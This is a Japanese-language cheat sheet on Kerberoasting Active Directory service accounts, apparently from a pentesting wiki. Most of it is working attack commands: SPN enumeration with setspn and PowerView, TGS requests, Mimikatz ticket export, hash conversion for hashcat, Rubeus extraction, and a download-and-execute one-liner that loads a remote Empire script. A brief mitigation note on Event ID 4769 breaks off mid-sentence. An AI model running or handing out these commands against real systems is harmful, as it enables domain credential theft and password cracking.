# Get Kerberoastable userssetspn.exe-Q */*#This is a built-in binary. Focus on user accountsGet-NetUser-SPN | select serviceprincipalname #Powerview.\Rubeus.exe kerberoast /stats
テクニック1: TGSを要求してメモリからダンプする
#Get TGS in memory from a single userAdd-Type-AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memoryklist# Extract them from memoryInvoke-Mimikatz-Command '"kerberos::list /export"'#Export tickets to current folder# Transform kirbi ticket to johnpython2.7 kirbi2john.py sqldev.kirbi# Transform john to hashcatsed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
テクニック2: 自動ツール
# Powerview: Get Kerberoast hash of a userRequest-SPNTicket-SPN"<SPN>"-FormatHashcat#Using PowerView Ex: MSSQLSvc/mgmt.domain.local# Powerview: Get all Kerberoast hashesGet-DomainUser*-SPN|Get-DomainSPNTicket-FormatHashcat|Export-Csv.\kerberoast.csv-NoTypeInformation# Rubeus.\Rubeus.exe kerberoast/outfile:hashes.kerberoast.\Rubeus.exe kerberoast/user:svc_mssql/outfile:hashes.kerberoast#Specific user.\Rubeus.exe kerberoast/ldapfilter:'admincount=1'/nowrap#Get of admins# Invoke-Kerberoastiex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast-OutputFormathashcat|%{ $_.Hash}|Out-File-EncodingASCIIhashes.kerberoast
Linuxからこのエラーを見つけた場合: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) それはローカル時間の問題です。ホストをDCと同期する必要があります。いくつかのオプションがあります:
ntpdate <DCのIP> - Ubuntu 16.04以降非推奨
rdate -n <DCのIP>
緩和
Kerberoastingは、悪用可能な場合に高い潜在性で実行できます。この活動を検出するためには、Security Event ID 4769 に注意を払う必要があります。これはKerberosチケットが要求されたことを示します。ただし、このイベントの頻度が高いため、特定のフィルタを適用して疑わしい活動を分離する必要があります: